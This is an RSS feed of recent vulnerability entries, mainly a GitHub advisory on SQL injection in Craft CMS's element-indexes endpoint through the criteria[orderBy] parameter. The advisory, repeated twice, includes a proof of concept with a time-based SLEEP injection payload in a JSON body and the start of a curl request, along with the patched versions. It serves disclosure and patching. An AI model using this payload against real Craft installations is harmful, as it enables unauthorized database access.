<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 05:39:24 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267785</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267785</link>
      <description>EUVD-2026-267785</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267785</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25495</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25495</link>
      <description>&lt;p&gt;Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25495</guid>
    </item>
    <item>
      <title>GHSA-2453-mppf-46cj — Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-2453-mppf-46cj</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).&lt;/p&gt;
&lt;p&gt;&amp;gt; [!NOTE]
&amp;gt; The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.&lt;/p&gt;
&lt;p&gt;---
## PoC
### Required Permissions&lt;/p&gt;
&lt;p&gt;- Access to the Control Panel&lt;/p&gt;
&lt;p&gt;### Steps to reproduce
1. Log in to the control panel
2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)
3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`
4. Modify the JSON body to the following:
```json
{&amp;#34;context&amp;#34;:&amp;#34;index&amp;#34;,&amp;#34;elementType&amp;#34;:&amp;#34;craft\\elements\\User&amp;#34;,&amp;#34;source&amp;#34;:&amp;#34;*&amp;#34;,&amp;#34;baseCriteria&amp;#34;:{&amp;#34;siteId&amp;#34;:1},&amp;#34;criteria&amp;#34;:{&amp;#34;limit&amp;#34;:100,&amp;#34;orderBy&amp;#34;: &amp;#34;(elements.id) DESC, (SELECT SLEEP(5)) --&amp;#34;},&amp;#34;viewState&amp;#34;:{&amp;#34;static&amp;#34;:false}}
```
5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)&lt;/p&gt;
&lt;p&gt;Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
```bash
curl --path-as-is -k -X $&amp;#39;POST&amp;#39; -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json&amp;#39; -H $&amp;#39;Content-Type: application/json&amp;#39; -H $&amp;#39;X-CSRF-Token: &amp;lt;CSRF-TO…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).&lt;/p&gt;
&lt;p&gt;&amp;gt; [!NOTE]
&amp;gt; The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.&lt;/p&gt;
&lt;p&gt;---
## PoC
### Required Permissions&lt;/p&gt;
&lt;p&gt;- Access to the Control Panel&lt;/p&gt;
&lt;p&gt;### Steps to reproduce
1. Log in to the control panel
2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)
3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`
4. Modify the JSON body to the following:
```json
{&amp;#34;context&amp;#34;:&amp;#34;index&amp;#34;,&amp;#34;elementType&amp;#34;:&amp;#34;craft\\elements\\User&amp;#34;,&amp;#34;source&amp;#34;:&amp;#34;*&amp;#34;,&amp;#34;baseCriteria&amp;#34;:{&amp;#34;siteId&amp;#34;:1},&amp;#34;criteria&amp;#34;:{&amp;#34;limit&amp;#34;:100,&amp;#34;orderBy&amp;#34;: &amp;#34;(elements.id) DESC, (SELECT SLEEP(5)) --&amp;#34;},&amp;#34;viewState&amp;#34;:{&amp;#34;static&amp;#34;:false}}
```
5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)&lt;/p&gt;
&lt;p&gt;Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
```bash
curl --path-as-is -k -X $&amp;#39;POST&amp;#39; -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json&amp;#39; -H $&amp;#39;Content-Type: application/json&amp;#39; -H $&amp;#39;X-CSRF-Token: &amp;lt;CSRF-TO…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-2453-mppf-46cj</guid>
    </item>
  </channel>
</rss>
